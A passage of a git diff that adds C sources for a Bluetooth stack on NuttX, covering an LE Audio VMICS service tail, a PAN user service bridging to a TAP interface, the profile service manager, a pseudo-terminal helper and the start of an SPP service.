BT_STATUS_SUCCESS; + + service->callbacks = bt_callbacks_list_new(2); + if (!service->callbacks) { + status = BT_STATUS_NOMEM; + goto fail; + } + + pthread_mutexattr_init(&attr); + pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE); + pthread_mutex_init(&service->vmics_lock, &attr); + + service->started = true; + + service->volume_session = media_session_open(LEA_VMICS_MEDIA_SESSION_NAME); + return BT_STATUS_SUCCESS; + +fail: + bt_callbacks_list_free(service->callbacks); + service->callbacks = NULL; + pthread_mutex_destroy(&service->vmics_lock); + return status; +} + +static bt_status_t lea_vmics_shutdown(profile_on_shutdown_t cb) +{ + BT_LOGD("%s", __func__); + + pthread_mutex_lock(&g_vmics_service.vmics_lock); + g_vmics_service.started = false; + + bt_callbacks_list_free(g_vmics_service.callbacks); + g_vmics_service.callbacks = NULL; + pthread_mutex_unlock(&g_vmics_service.vmics_lock); + pthread_mutex_destroy(&g_vmics_service.vmics_lock); + + media_session_close(g_vmics_service.volume_session); + return BT_STATUS_SUCCESS; +} + +static void lea_vmics_cleanup(void) +{ + BT_LOGD("%s", __func__); +} + +static int lea_vmics_dump(void) +{ + printf("impl leaudio vmics dump"); + return 0; +} + +static const profile_service_t lea_vmics_service = { + .auto_start = true, + .name = PROFILE_VMICS_NAME, + .id = PROFILE_LEAUDIO_VMICS, + .transport = BT_TRANSPORT_BLE, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = lea_vmics_init, + .startup = lea_vmics_startup, + .shutdown = lea_vmics_shutdown, + .process_msg = NULL, + .get_state = NULL, + .get_profile_interface = get_lea_vmics_profile_interface, + .cleanup = lea_vmics_cleanup, + .dump = lea_vmics_dump, +}; + +void register_lea_vmics_service(void) +{ + register_service(&lea_vmics_service); +} + +#endif diff --git a/service/profiles/pan/panu_service.c b/service/profiles/pan/panu_service.c new file mode 100644 index 0000000000000000000000000000000000000000..fd02afea9044e3cbbd0a1815bd12aa1b3cb4e8fd --- /dev/null +++ b/service/profiles/pan/panu_service.c @@ -0,0 +1,663 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "panu" + +#include <fcntl.h> +#include <net/if.h> +#include <nuttx/net/ethernet.h> +#include <nuttx/net/netdev.h> +#include <nuttx/net/tun.h> +#include <stdint.h> +#include <stdlib.h> +#include <unistd.h> + +#include "adapter_internel.h" +#include "bt_addr.h" +#include "bt_list.h" +#include "callbacks_list.h" +#include "netutils/netlib.h" +#include "power_manager.h" +#include "sal_pan_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +#define PAN_MAX_CONNECTIONS 1 +#define PAN_DEV_NAME "bt-pan" + +#define PAN_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, pan_callbacks_t, _cback, ##__VA_ARGS__) + +typedef struct { + struct list_node conn_list; + bool enable; + int tun_fd; + int tun_packet_size; + char tun_devname[16]; + int local_role; + bt_address_t peer_addr; + service_poll_t* poll_handle; + callbacks_list_t* callbacks; +} pan_global_t; + +typedef struct { + struct list_node node; + bt_address_t addr; + uint8_t local_role; + uint8_t peer_role; + uint8_t state; +} pan_conn_t; + +typedef struct { + /* role */ + pan_role_t remote_role; + pan_role_t local_role; + /* pan connection state */ + profile_connection_state_t state; +} pan_conn_evt_t; + +typedef struct { + uint16_t protocol; + uint8_t* packet; + uint16_t length; +} pan_data_evt_t; + +typedef struct { + enum { + CONNECTION_EVT, + DATA_IND_EVT, + } evt_id; + bt_address_t addr; + union { + pan_conn_evt_t conn_evt; + pan_data_evt_t data_evt; + }; +} pan_msg_t; + +typedef struct eth_hdr { + uint8_t h_dest[6]; + uint8_t h_src[6]; + short h_proto; +} eth_hdr_t; + +static pan_global_t g_pan = { 0 }; +static uint8_t* pan_read_buf = NULL; + +static pan_conn_t* pan_find_conn(bt_address_t* addr); +static void pan_conn_close(pan_conn_t* conn); +static bool pan_unregister_callbacks(void** remote, void* cookie); + +static uint8_t pan_conns(void) +{ + return list_length(&g_pan.conn_list); +} + +static pan_conn_t* pan_new_conn(bt_address_t* addr) +{ + pan_conn_t* conn; + + if (pan_conns() == PAN_MAX_CONNECTIONS) { + BT_LOGD("%s, PAN_MAX_CONNECTIONS", __func__); + return NULL; + } + + if (pan_find_conn(addr)) + return NULL; + + conn = malloc(sizeof(pan_conn_t)); + memcpy(&conn->addr, addr, sizeof(bt_address_t)); + list_add_tail(&g_pan.conn_list, &conn->node); + + return conn; +} + +static void pan_free_conn(pan_conn_t* conn) +{ + list_delete(&conn->node); + free(conn); +} + +static pan_conn_t* pan_find_conn(bt_address_t* addr) +{ + pan_conn_t* conn; + struct list_node* node; + + list_for_every(&g_pan.conn_list, node) + { + conn = (pan_conn_t*)node; + if (!memcmp(addr, &conn->addr, sizeof(bt_address_t))) + return conn; + } + + return NULL; +} + +static void pan_close_all_conn(void) +{ + pan_conn_t* conn; + struct list_node* node; + struct list_node* tmp; + + list_for_every_safe(&g_pan.conn_list, node, tmp) + { + conn = (pan_conn_t*)node; + bt_pm_conn_close(PROFILE_PANU, &conn->addr); + pan_conn_close(conn); + } +} + +static int pan_tap_bridge_open(const char* devname) +{ + struct ifreq ifr; + bt_address_t local_addr, ethaddr; + int errcode; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + int ret; + + g_pan.tun_fd = open("/dev/tun", O_RDWR | O_CLOEXEC); + if (g_pan.tun_fd < 0) { + errcode = errno; + BT_LOGE("ERROR: Failed to open /dev/tun: %d\n", errcode); + return -errcode; + } + + memset(&ifr, 0, sizeof(ifr)); + ifr.ifr_flags = IFF_TAP | IFF_NO_PI; + strlcpy(ifr.ifr_name, devname, IFNAMSIZ); + ret = ioctl(g_pan.tun_fd, TUNSETIFF, (unsigned long)&ifr); + if (ret < 0) { + errcode = errno; + BT_LOGE("ERROR: ioctl TUNSETIFF failed: %d\n", errcode); + close(g_pan.tun_fd); + return -errcode; + } + + memset(g_pan.tun_devname, 0, sizeof(g_pan.tun_devname)); + strncpy(g_pan.tun_devname, ifr.ifr_name, IFNAMSIZ); + adapter_get_address(&local_addr); + bt_addr_swap(&local_addr, ðaddr); + netlib_setmacaddr(ifr.ifr_name, ethaddr.addr); + netlib_ifup(g_pan.tun_devname); + + bt_addr_ba2str(ðaddr, addr_str); + BT_LOGI("Created Tap device: %s, Mac address: %s", ifr.ifr_name, addr_str); + + return 0; +} + +static void pan_tap_bridge_close(void) +{ + if (g_pan.tun_fd) { + BT_LOGD("TUN device: %s Closing", g_pan.tun_devname); + netlib_ifdown(g_pan.tun_devname); + close(g_pan.tun_fd); + g_pan.tun_fd = -1; + } +} + +static void pan_tap_poll_data(service_poll_t* poll, int revent, void* userdata) +{ + eth_hdr_t ethhdr; + + if (revent & POLL_READABLE) { + int ret = read(g_pan.tun_fd, pan_read_buf, g_pan.tun_packet_size); + if (ret > 0) { + memcpy(ðhdr, pan_read_buf, sizeof(eth_hdr_t)); + bt_pm_busy(PROFILE_PANU, &g_pan.peer_addr); + bt_sal_pan_write(&g_pan.peer_addr, ntohs(ethhdr.h_proto), + ethhdr.h_dest, ethhdr.h_src, + pan_read_buf + sizeof(eth_hdr_t), + ret - sizeof(eth_hdr_t)); + bt_pm_idle(PROFILE_PANU, &g_pan.peer_addr); + } + return; + } + + if (revent & POLL_WRITABLE) { + /* not implemented */ + return; + } + + BT_LOGE("%s poll disconnected", __func__); + /* any poll error, need close all pan connection */ + pan_close_all_conn(); +} + +static int pan_get_tun_packet_size(const char* devname) +{ + int errcode, ret, sockfd; + struct ifreq ifr = { 0 }; + + sockfd = socket(AF_INET, SOCK_DGRAM, 0); + if (sockfd < 0) { + BT_LOGE("ERROR: Can't open socket: %d\n", sockfd); + return -1; + } + + strlcpy(ifr.ifr_name, devname, IFNAMSIZ); + ifr.ifr_ifindex = if_nametoindex(ifr.ifr_name); + ret = ioctl(sockfd, SIOCGIFMTU, &ifr); + if (ret < 0) { + errcode = errno; + BT_LOGE("ERROR: ioctl SIOCGIFMTU failed: %d\n", errcode); + close(sockfd); + return -1; + } + + close(sockfd); + return ifr.ifr_mtu - sizeof(eth_hdr_t); +} + +static pan_conn_t* pan_new_conn_open(bt_address_t* addr, uint8_t local, uint8_t remote) +{ + pan_conn_t* conn; + int ret; + + memcpy(&g_pan.peer_addr, addr, sizeof(bt_address_t)); + conn = pan_find_conn(addr); + if (!conn) { + conn = pan_new_conn(addr); + if (!conn) + goto open_fail; + } + + conn->local_role = local; + conn->peer_role = remote; + conn->state = PROFILE_STATE_CONNECTED; + if (g_pan.tun_fd < 0) { + ret = pan_tap_bridge_open(PAN_DEV_NAME); + if (ret < 0) + goto open_fail; + + ret = pan_get_tun_packet_size(PAN_DEV_NAME); + if (ret < 0) + goto open_fail; + + g_pan.tun_packet_size = ret; + pan_read_buf = malloc(g_pan.tun_packet_size); + if (pan_read_buf == NULL) { + BT_LOGE("%s packet malloc failed", __func__); + goto open_fail; + } + + g_pan.poll_handle = service_loop_poll_fd(g_pan.tun_fd, + POLL_DISCONNECT | POLL_READABLE, + pan_tap_poll_data, NULL); + if (!g_pan.poll_handle) + goto open_fail; + + PAN_CALLBACK_FOREACH(g_pan.callbacks, netif_state_cb, PAN_STATE_ENABLED, g_pan.local_role, g_pan.tun_devname); + } + + return conn; + +open_fail: + if (conn) + pan_conn_close(conn); + else + bt_sal_pan_disconnect(addr); + return NULL; +} + +static void pan_conn_close(pan_conn_t* conn) +{ + if (conn == NULL) + return; + + if (conn->state == PROFILE_STATE_CONNECTED) + bt_sal_pan_disconnect(&conn->addr); + + pan_free_conn(conn); + if (pan_conns() == 0) { + if (g_pan.poll_handle) { + service_loop_remove_poll(g_pan.poll_handle); + g_pan.poll_handle = NULL; + } + + if (pan_read_buf) { + free(pan_read_buf); + pan_read_buf = NULL; + } + + if (g_pan.tun_fd) { + pan_tap_bridge_close(); + PAN_CALLBACK_FOREACH(g_pan.callbacks, netif_state_cb, PAN_STATE_DISABLED, g_pan.local_role, g_pan.tun_devname); + } + } +} + +static void on_pan_connection_state_changed(bt_address_t* addr, pan_conn_evt_t* evt) +{ + pan_conn_t* conn; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s, addr: %s, remote_role: %d, local_role: %d, state: %d", + __func__, addr_str, evt->remote_role, + evt->local_role, evt->state); + + switch (evt->state) { + case PROFILE_STATE_DISCONNECTED: { + conn = pan_find_conn(addr); + pan_conn_close(conn); + bt_pm_conn_close(PROFILE_PANU, addr); + break; + } + case PROFILE_STATE_CONNECTED: + bt_pm_conn_open(PROFILE_PANU, addr); + conn = pan_new_conn_open(addr, evt->local_role, evt->remote_role); + break; + case PROFILE_STATE_CONNECTING: + case PROFILE_STATE_DISCONNECTING: + default: + break; + } + + PAN_CALLBACK_FOREACH(g_pan.callbacks, connection_state_cb, evt->state, addr, evt->local_role, evt->remote_role); +} + +static int on_pan_data_incoming(bt_address_t* addr, uint16_t protocol, + uint8_t* packet, uint16_t length) +{ + if (g_pan.tun_fd > 0) { + /* Send data to network interface */ + ssize_t ret; + do { + ret = write(g_pan.tun_fd, packet, length); + } while (ret == -1 && errno == EINTR); + + return (int)ret; + } + + return -1; +} + +static void pan_service_event_process(void* data) +{ + pan_msg_t* msg = data; + + if (!g_pan.enable) { + free(data); + return; + } + + switch (msg->evt_id) { + case CONNECTION_EVT: + on_pan_connection_state_changed(&msg->addr, &msg->conn_evt); + break; + case DATA_IND_EVT: { + pan_data_evt_t* evt = &msg->data_evt; + + bt_pm_busy(PROFILE_PANU, &msg->addr); + on_pan_data_incoming(&msg->addr, evt->protocol, + evt->packet, evt->length); + bt_pm_idle(PROFILE_PANU, &msg->addr); + free(evt->packet); + break; + } + default: + break; + } + + free(data); +} + +void pan_on_connection_state_changed(bt_address_t* addr, pan_role_t remote_role, + pan_role_t local_role, profile_connection_state_t state) +{ + pan_msg_t* pan_msg = (pan_msg_t*)malloc(sizeof(pan_msg_t)); + if (pan_msg == NULL) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + pan_msg->evt_id = CONNECTION_EVT; + pan_msg->conn_evt.state = state; + pan_msg->conn_evt.remote_role = remote_role; + pan_msg->conn_evt.local_role = local_role; + memcpy(&pan_msg->addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(pan_service_event_process, pan_msg); +} + +void pan_on_data_received(bt_address_t* addr, uint16_t protocol, + uint8_t* dst_addr, uint8_t* src_addr, + uint8_t* data, uint16_t length) +{ + pan_msg_t* pan_msg; + eth_hdr_t ethhdr; + uint8_t* packet; + + pan_msg = (pan_msg_t*)malloc(sizeof(pan_msg_t)); + if (pan_msg == NULL) { + BT_LOGE("%s msg malloc failed", __func__); + return; + } + + /* fill pan message */ + pan_msg->evt_id = DATA_IND_EVT; + memcpy(&pan_msg->addr, addr, sizeof(bt_address_t)); + pan_msg->data_evt.protocol = protocol; + + /* build eth header */ + memcpy(ethhdr.h_dest, dst_addr, 6); + memcpy(ethhdr.h_src, src_addr, 6); + ethhdr.h_proto = htons(protocol); + + /* malloc packet with eth header */ + packet = malloc(g_pan.tun_packet_size + sizeof(ethhdr)); + if (packet == NULL) { + free(pan_msg); + BT_LOGE("%s packet malloc failed", __func__); + return; + } + + /* copy eth header to packet buffer */ + memcpy(packet, ðhdr, sizeof(eth_hdr_t)); + + /* copy protocol data to packet buffer */ + if (length > g_pan.tun_packet_size) { + free(packet); + free(pan_msg); + BT_LOGE("send eth packet size:%d is exceeded limit!", length); + return; + } + memcpy(packet + sizeof(eth_hdr_t), data, length); + + /* set pan packet */ + pan_msg->data_evt.length = length + sizeof(eth_hdr_t); + pan_msg->data_evt.packet = packet; + + do_in_service_loop(pan_service_event_process, pan_msg); +} + +static bt_status_t pan_init(void) +{ + g_pan.callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + return BT_STATUS_SUCCESS; +} + +static void pan_cleanup(void) +{ + bt_callbacks_list_free(g_pan.callbacks); + g_pan.callbacks = NULL; +} + +static bt_status_t pan_startup(profile_on_startup_t cb) +{ + if (g_pan.enable) { + cb(PROFILE_PANU, true); + return BT_STATUS_NOT_ENABLED; + } + + g_pan.tun_fd = -1; + g_pan.local_role = PAN_ROLE_PANU; + list_initialize(&g_pan.conn_list); + if (bt_sal_pan_init(PAN_MAX_CONNECTIONS, PAN_ROLE_PANU) != BT_STATUS_SUCCESS) { + list_delete(&g_pan.conn_list); + cb(PROFILE_PANU, false); + return BT_STATUS_FAIL; + } + + g_pan.enable = true; + cb(PROFILE_PANU, true); + + return BT_STATUS_SUCCESS; +} + +static bt_status_t pan_shutdown(profile_on_shutdown_t cb) +{ + if (!g_pan.enable) { + cb(PROFILE_PANU, true); + return BT_STATUS_SUCCESS; + } + + g_pan.enable = false; + pan_close_all_conn(); + list_delete(&g_pan.conn_list); + bt_sal_pan_cleanup(); + cb(PROFILE_PANU, true); + + return BT_STATUS_SUCCESS; +} + +static void pan_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_REMOTE_DETACH: { + bt_instance_t* ins = msg->data.data; + + if (ins->panu_cookie) { + BT_LOGD("%s PROFILE_EVT_REMOTE_DETACH", __func__); + pan_unregister_callbacks((void**)&ins, ins->panu_cookie); + ins->panu_cookie = NULL; + } + break; + } + default: + break; + } +} + +static int pan_get_state(void) +{ + return 1; +} + +static void* pan_register_callbacks(void* remote, const pan_callbacks_t* callbacks) +{ + return bt_remote_callbacks_register(g_pan.callbacks, remote, (void*)callbacks); +} + +static bool pan_unregister_callbacks(void** remote, void* cookie) +{ + return bt_remote_callbacks_unregister(g_pan.callbacks, remote, cookie); +} + +static bt_status_t pan_connect(bt_address_t* addr, uint8_t dst_role, uint8_t src_role) +{ + pan_conn_t* conn; + bt_status_t status; + + if (!g_pan.enable) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + conn = pan_new_conn(addr); + if (!conn) { + status = BT_STATUS_NO_RESOURCES; + goto exit; + } + + status = bt_sal_pan_connect(addr, dst_role, src_role); + if (status != BT_STATUS_SUCCESS) { + pan_free_conn(conn); + goto exit; + } + + conn->state = PROFILE_STATE_CONNECTING; + +exit: + return status; +} + +static bt_status_t pan_disconnect(bt_address_t* addr) +{ + pan_conn_t* conn; + bt_status_t status; + + if (!g_pan.enable) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + conn = pan_find_conn(addr); + if (!conn) { + status = BT_STATUS_DEVICE_NOT_FOUND; + goto exit; + } + + status = bt_sal_pan_disconnect(addr); + if (status != BT_STATUS_SUCCESS) + goto exit; + + conn->state = PROFILE_STATE_DISCONNECTING; + +exit: + return status; +} + +static const pan_interface_t panInterface = { + .size = sizeof(panInterface), + .register_callbacks = pan_register_callbacks, + .unregister_callbacks = pan_unregister_callbacks, + .connect = pan_connect, + .disconnect = pan_disconnect, +}; + +static const void* get_pan_profile_interface(void) +{ + return (void*)&panInterface; +} + +static int pan_dump(void) +{ + BT_LOGD("%s", __func__); + + return 0; +} + +static const profile_service_t pan_service = { + .auto_start = true, + .name = PROFILE_PANU_NAME, + .id = PROFILE_PANU, + .transport = BT_TRANSPORT_BREDR, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = pan_init, + .startup = pan_startup, + .shutdown = pan_shutdown, + .process_msg = pan_process_msg, + .get_state = pan_get_state, + .get_profile_interface = get_pan_profile_interface, + .cleanup = pan_cleanup, + .dump = pan_dump, +}; + +void register_pan_service(void) +{ + register_service(&pan_service); +} diff --git a/service/profiles/service_manager.c b/service/profiles/service_manager.c new file mode 100644 index 0000000000000000000000000000000000000000..d29a503ce7923255a869a0db89fdfa385471705e --- /dev/null +++ b/service/profiles/service_manager.c @@ -0,0 +1,270 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <assert.h> +#include <stdbool.h> +#include <stddef.h> +#include <stdint.h> + +#include "adapter_internel.h" +#include "bt_profile.h" +#include "service_manager.h" + +#define LOG_TAG "service_manager" +#include "utils/log.h" + +enum profile_service_state { + TURN_OFF, + TURNING_ON, + TURN_ON, + TURNING_OFF, +}; + +struct service_state_map { + profile_service_t* service; + uint8_t state; +}; + +static struct service_state_map service_slots[PROFILE_MAX] = { 0 }; +// static profile_service_t *service_slots[PROFILE_MAX]; + +static bool check_is_all_startup(uint8_t transport) +{ + for (int i = 0; i < PROFILE_MAX; i++) { + profile_service_t* profile = service_slots[i].service; + int state; + + if (!profile) { + // check unregistered profile service + continue; + } + + state = profile->get_state ? profile->get_state() : 1; + if ((profile->transport == transport) && profile->auto_start && (service_slots[i].state != TURN_ON) && state) { + return false; + } + } + + return true; +} + +static bool check_is_all_shutdown(uint8_t transport) +{ + for (int i = 0; i < PROFILE_MAX; i++) { + profile_service_t* profile = service_slots[i].service; + int state; + + if (!profile) { + // check unregistered profile service + continue; + } + + state = profile->get_state ? profile->get_state() : 1; + if ((profile->transport == transport) && (service_slots[i].state != TURN_OFF) && state) { + return false; + } + } + + return true; +} + +static void service_on_startup(enum profile_id id, bool ret) +{ + assert(service_slots[id].service); + + profile_service_t* profile = service_slots[id].service; + BT_LOGD("%s {%s} start ret:%d", __func__, profile->name, ret); + + if (ret) + service_slots[id].state = TURN_ON; + else { + /* notify startup fail??? */ + assert(0); + } + + if (check_is_all_startup(profile->transport)) { + BT_LOGD("%s all profiles is startup", __func__); + adapter_on_profile_services_startup(profile->transport, true); + } +} + +static void service_on_shutdown(enum profile_id id, bool ret) +{ + assert(service_slots[id].service); + + profile_service_t* profile = service_slots[id].service; + BT_LOGD("%s {%s} shutdown ret:%d", __func__, profile->name, ret); + + if (ret) + service_slots[id].state = TURN_OFF; + else { + /* notify shutdown fail??? */ + assert(0); + } + + if (check_is_all_shutdown(profile->transport)) { + BT_LOGD("%s all profile is shutdown", __func__); + adapter_on_profile_services_shutdown(profile->transport, true); + } +} + +void register_service(const profile_service_t* service) +{ + if (!service_slots[service->id].service) { + service_slots[service->id].service = (profile_service_t*)service; + service_slots[service->id].state = TURN_OFF; + BT_LOGD("%s service register success", service->name); + } else + BT_LOGW("%s service had registered", service->name); +} + +int service_manager_init(void) +{ + for (int i = 0; i < PROFILE_MAX; i++) { + profile_service_t* profile = service_slots[i].service; + if (profile && profile->init) + profile->init(); + } + + return 0; +} + +int service_manager_startup(uint8_t transport) +{ + if (check_is_all_startup(transport)) { + BT_LOGD("%s all profile is startup", __func__); + adapter_on_profile_services_startup(transport, true); + } else { + for (int i = 0; i < PROFILE_MAX; i++) { + profile_service_t* profile = service_slots[i].service; + if (profile && profile->startup && profile->auto_start && profile->transport == transport) { + service_slots[i].state = TURNING_ON; + profile->startup(service_on_startup); + } + } + } + + return 0; +} + +int service_manager_get_uuid(bt_uuid_t* uuids, uint16_t* size) +{ + uint16_t cnt = 0; + bt_uuid_t empty_uuid = BT_UUID_DECLARE_128(0); + + for (int i = 0; i < PROFILE_MAX && cnt < BT_UUID_MAX_NUM; i++) { + profile_service_t* profile = service_slots[i].service; + if (profile == NULL) + continue; + + if (bt_uuid_compare(&empty_uuid, &profile->uuid) == 0) + continue; + + memcpy(uuids++, &profile->uuid, sizeof(bt_uuid_t)); + cnt++; + } + + *size = cnt; + + return 0; +} + +int service_manager_processmsg(profile_msg_t* msg) +{ + for (int i = 0; i < PROFILE_MAX; i++) { + profile_service_t* profile = service_slots[i].service; + if (profile && profile->process_msg) + profile->process_msg(msg); + } + + return 0; +} + +int service_manager_shutdown(uint8_t transport) +{ + if (check_is_all_shutdown(transport)) { + BT_LOGD("%s all profile is shutdown", __func__); + adapter_on_profile_services_shutdown(transport, true); + } else { + for (int i = 0; i < PROFILE_MAX; i++) { + profile_service_t* profile = service_slots[i].service; + if (profile && profile->shutdown && profile->transport == transport) + profile->shutdown(service_on_shutdown); + } + } + + return 0; +} + +const void* service_manager_get_profile(enum profile_id id) +{ + assert(id < PROFILE_MAX); + profile_service_t* profile = service_slots[id].service; + if (!profile || !profile->get_profile_interface) { + BT_LOGE("%s profile-id:%d is not found, profile:%p\n", __func__, id, profile); + assert(0); + } + + return profile->get_profile_interface(); +} + +bt_status_t service_manager_control(enum profile_id id, control_cmd_t cmd) +{ + profile_service_t* profile = service_slots[id].service; + + switch (cmd) { + case CONTROL_CMD_START: + if (profile && profile->startup) + return profile->startup(NULL); + else { + BT_LOGE("startup not implemented"); + return BT_STATUS_NOT_SUPPORTED; + } + break; + case CONTROL_CMD_STOP: + if (profile && profile->shutdown) + return profile->shutdown(NULL); + else { + BT_LOGE("shutdown not implemented"); + return BT_STATUS_NOT_SUPPORTED; + } + break; + case CONTROL_CMD_DUMP: + break; + default: + break; + } + + return BT_STATUS_SUCCESS; +} + +int service_manager_cleanup(void) +{ + for (int i = 0; i < PROFILE_MAX; i++) { + profile_service_t* profile = service_slots[i].service; + if (!profile) + continue; + + if (profile->cleanup) { + profile->cleanup(); + } else { + BT_LOGE("%s profile cleanup method is NULL", profile->name); + } + service_slots[i].service = NULL; + } + + return 0; +} diff --git a/service/profiles/service_manager.h b/service/profiles/service_manager.h new file mode 100644 index 0000000000000000000000000000000000000000..e9d4e3788f44be5ea88477a8683576bc305b9759 --- /dev/null +++ b/service/profiles/service_manager.h @@ -0,0 +1,84 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef _BT_SERVICE_MANAGER_H__ +#define _BT_SERVICE_MANAGER_H__ + +#include "bt_profile.h" +#include "bt_status.h" +#include "bt_uuid.h" + +typedef enum { + SERVICE_DISABLED = 0, + SERVICE_ENABLED +} service_state_t; + +typedef enum control_cmd { + CONTROL_CMD_START, + CONTROL_CMD_STOP, + CONTROL_CMD_DUMP +} control_cmd_t; + +typedef enum { + PROFILE_EVT_A2DP_OFFLOADING = 1, + PROFILE_EVT_HFP_OFFLOADING, + PROFILE_EVT_LEA_OFFLOADING, + PROFILE_EVT_REMOTE_DETACH, +} profile_event_t; + +typedef struct +{ + bool valuebool; + uint32_t valueint1; + uint32_t valueint2; + size_t size; + void* data; +} profile_data_t; + +typedef struct +{ + profile_event_t event; + profile_data_t data; +} profile_msg_t; + +typedef void (*profile_on_startup_t)(enum profile_id id, bool ret); +typedef void (*profile_on_shutdown_t)(enum profile_id id, bool ret); +typedef struct profile_service { + bool auto_start; + const char* name; + const enum profile_id id; + uint8_t transport; + bt_uuid_t uuid; + bt_status_t (*init)(void); + bt_status_t (*startup)(profile_on_startup_t cb); + bt_status_t (*shutdown)(profile_on_shutdown_t cb); + void (*process_msg)(profile_msg_t* msg); + int (*get_state)(void); + const void* (*get_profile_interface)(void); + void (*cleanup)(void); + int (*dump)(void); +} profile_service_t; + +void register_service(const profile_service_t* service); +int service_manager_init(void); +int service_manager_startup(uint8_t transport); +int service_manager_get_uuid(bt_uuid_t* uuids, uint16_t* size); +int service_manager_processmsg(profile_msg_t* msg); +int service_manager_shutdown(uint8_t transport); +const void* service_manager_get_profile(enum profile_id id); +bt_status_t service_manager_control(enum profile_id id, control_cmd_t cmd); +int service_manager_cleanup(void); + +#endif /* _BT_SERVICE_MANAGER_H__ */ \ No newline at end of file diff --git a/service/profiles/spp/openpty.c b/service/profiles/spp/openpty.c new file mode 100644 index 0000000000000000000000000000000000000000..6a91b1f83773663bf1bf122b4d9ab1994d3cd17b --- /dev/null +++ b/service/profiles/spp/openpty.c @@ -0,0 +1,74 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <fcntl.h> +#include <pty.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> + +#include "openpty.h" + +static void disable_echo(int fd) +{ + struct termios echo; + + tcgetattr(fd, &echo); + + echo.c_lflag &= ~ECHO; + + tcsetattr(fd, TCSANOW, &echo); +} + +int open_pty(int* master, char* name) +{ + char buf[64]; + int ret; + /* Open the pseudo terminal master */ + ret = posix_openpt(O_RDWR); + if (ret < 0) + return ret; + + *master = ret; + + /* Configure the pseudo terminal master */ + + ret = grantpt(*master); + if (ret < 0) + goto err; + + ret = unlockpt(*master); + if (ret < 0) + goto err; + + /* Open the pseudo terminal slave */ + + ret = ptsname_r(*master, buf, sizeof(buf)); + if (ret < 0) + goto err; + + if (name != NULL) + strcpy(name, buf); + + disable_echo(*master); + + return 0; + +err: + close(*master); + return ret; +} \ No newline at end of file diff --git a/service/profiles/spp/spp_service.c b/service/profiles/spp/spp_service.c new file mode 100644 index 0000000000000000000000000000000000000000..04bc8f76b80e447a12fc9185b6234d52a067d3b8 --- /dev/null +++ b/service/profiles/spp/spp_service.c @@ -0,0 +1,1424 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "spp" +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stddef.h> +#include <stdint.h> +#include <stdlib.h> + +#include "bt_addr.h" +#include "bt_debug.h" +#include "bt_device.h" +#include "bt_dfx.h" +#include "bt_list.h" +#include "bt_profile.h" +#include "bt_uuid.h" +#include "euv_pipe.h" +#include "index_allocator.h" +#include "power_manager.h" +#include "sal_spp_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "spp_service.h" +#include "utils/log.h" +#include "uv.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define REGISTER_MAX 5 +#define CONNECTIONS_MAX CONFIG_BLUETOOTH_SPP_MAX_CONNECTIONS +#define SERVER_CONNECTION_MAX CONFIG_BLUETOOTH_SPP_SERVER_MAX_CONNECTIONS +#define INVALID_FD -1 +#define DEFAULT_PACKET_SIZE (255) +#define SENDING_BUFS_QUOTA 13 +#define CACHE_SEND_TIMEOUT 15 +#ifdef 